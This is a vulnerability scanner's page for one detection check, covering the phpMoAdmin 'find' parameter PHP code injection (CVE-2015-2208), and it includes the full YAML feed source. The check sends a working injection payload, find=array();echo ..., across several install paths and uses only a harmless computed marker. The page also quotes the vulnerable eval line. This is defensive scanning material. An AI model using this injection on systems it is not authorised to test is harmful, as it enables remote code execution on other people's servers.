phpMoAdmin — 1 vulnerability check
noctis ships 1 vulnerability check for phpMoAdmin, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
phpMoAdmin moadmin.php 'find' Parameter Code Injection
| CVE | CVE-2015-2208 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/phpmoadmin/CVE-2015-2208.yaml |
Tests phpMoAdmin, the single-file MongoDB administration page moadmin.php, for the unauthenticated PHP code injection through the find parameter of the listRows action, which the application evaluates as PHP when the value starts with "array". In the web root and in the /phpmoadmin, /moadmin and /wu-moadmin directories, once moadmin.php or wu-moadmin.php answers with the phpMoAdmin page, the feed sends a find value that makes PHP print the product of two random numbers framed by a NOCTIS marker. The correct product in the page confirms that the server ran the injected code; the product is not part of the request, so a page that only echoes the URL is not reported. The probe reads and writes nothing on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{file}} - Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{file}}?db=admin&action=listRows&collection=noctis&find=array();echo%20%27NOCTIS%27.… - Parses / computes the next value with a Rhai script
- Checks
prooffor^NOCTIS[0-9]+END$→ finding QoD 97: phpMoAdmin moadmin.php 'find' Parameter Code Injection (CVE-2015-2208)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2015-2208
- https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP
Feed source — tests/vulnerabilities/phpmoadmin/CVE-2015-2208.yaml
# phpMoAdmin moadmin.php listRows 'find' code injection — CVE-2015-2208
#
# phpMoAdmin (the single-file MongoDB admin tool moadmin.php) evaluates the
# `find` GET parameter of the listRows action when it starts with "array":
# eval('$find = ' . $_GET['find'] . ';');
# so `find=array();<php code>` runs PHP code on the server, with no login
# unless the admin set $accessControl.
#
# Detection (benign): for every common install path
# (/moadmin.php, /wu-moadmin.php, in the web root and in /phpmoadmin,
# /moadmin, /wu-moadmin):
# 1. GET <path> must answer 200 and show "phpMoAdmin"/"moadmin".
# 2. GET <path>?db=admin&action=listRows&collection=noctis&find=
# array();echo 'NOCTIS'.(<a>*<b>).'END';
# PHP evaluates the product of two random 6-digit numbers and prints
# NOCTIS<a×b>END in the page. The product appears nowhere in the request
# (only the operands do), so a page that echoes the URL cannot produce it.
# Nothing is written or read on the target. QoD 97.
#
# Improvements over the source NASL: the NASL looks for phpinfo() output (which
# an echoing page can imitate and which dumps the server configuration); this
# feed proves execution with a computed marker instead.
#
# CVSS: CVE-2015-2208 v2 7.5 (NVD has no v3 score).
#
# Ported from OpenVAS/Greenbone NVT 2015/gb_phpmoadmin_rce_03_15.nasl
# (OID 1.3.6.1.4.1.25623.1.0.105230, GPL-2.0-only).
uid: c03bba6b-4e8b-4f17-936c-4379c7aa4656
name: "phpMoAdmin moadmin.php 'find' Parameter Code Injection (CVE-2015-2208)"
description: |
Tests phpMoAdmin, the single-file MongoDB administration page moadmin.php,
for the unauthenticated PHP code injection through the find parameter of the
listRows action, which the application evaluates as PHP when the value starts
with "array". In the web root and in the /phpmoadmin, /moadmin and
/wu-moadmin directories, once moadmin.php or wu-moadmin.php answers with the
phpMoAdmin page, the feed sends a find value that makes PHP print the product
of two random numbers framed by a NOCTIS marker. The correct product in the
page confirms that the server ran the injected code; the product is not part
of the request, so a page that only echoes the URL is not reported. The probe
reads and writes nothing on the server.
cves: [CVE-2015-2208]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [phpmoadmin, moadmin, mongodb, php, rce, code-injection, eval, intrusive, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-2208"
- "https://github.com/MongoDB-Rox/phpMoAdmin-MongoDB-Admin-Tool-for-PHP"
# OpenVAS/Greenbone NASL 2015/gb_phpmoadmin_rce_03_15.nasl (GPL-2.0-only)
steps:
- id: mint
action: script
code: '#{ a: rand_int(100000, 999999), b: rand_int(100000, 999999) }'
store_as: m
- id: mint-product
action: script
code: '"" + (m.a * m.b)'
store_as: prod
- id: mint-marker
action: script
code: '"NOCTIS" + prod + "END"'
store_as: marker
- id: init-proof
action: set_var
var_name: proof
var_value: ""
# ── Loop group: every step below runs once per candidate path ────────────
- id: init-page
action: set_var
var_name: page
var_value: {status: 0, body: ""}
loop:
over:
- "/moadmin.php"
- "/wu-moadmin.php"
- "/phpmoadmin/moadmin.php"
- "/phpmoadmin/wu-moadmin.php"
- "/moadmin/moadmin.php"
- "/moadmin/wu-moadmin.php"
- "/wu-moadmin/moadmin.php"
- "/wu-moadmin/wu-moadmin.php"
var: file
- id: init-inj
action: set_var
var_name: inj
var_value: {status: 0, body: ""}
- id: fetch-page
action: http_request
method: GET
path: "{{file}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: page
- id: gate
action: script
code: |
page.status == 200 && type_of(page.body) == "string" && (stridx(tolower(page.body), "phpmoadmin") >= 0 || stridx(tolower(page.body), "moadmin") >= 0)
store_as: is_moadmin
# find=array();echo 'NOCTIS'.(<a>*<b>).'END';
- id: inject
action: http_request
method: GET
path: "{{file}}?db=admin&action=listRows&collection=noctis&find=array();echo%20%27NOCTIS%27.({{m.a}}*{{m.b}}).%27END%27;"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 20
condition: 'is_moadmin == true'
store_as: inj
- id: verdict
action: script
code: |
if is_moadmin == true && type_of(inj.body) == "string" && stridx(inj.body, marker) >= 0 { marker } else { "" }
store_as: proof
- id: report
action: match
source: proof
pattern: "^NOCTIS[0-9]+END$"
on_match:
finding:
title: "phpMoAdmin moadmin.php 'find' Parameter Code Injection (CVE-2015-2208)"
description: "An unauthenticated GET to the listRows action with PHP code in the find parameter made the server run it: the page printed the product of two random numbers computed by PHP. Any PHP code, including system commands, can be run the same way as the web server user."
remediation: "Remove moadmin.php from the web server or restrict it to trusted addresses with authentication ($accessControl, web server auth), and upgrade phpMoAdmin to a release that does not evaluate the find parameter."
confidence_delta: 0.65
qod: 97
evidence: "GET {{file}} with find=array();echo 'NOCTIS'.({{m.a}}*{{m.b}}).'END'; returned the PHP-computed marker {{proof}}"
stop: true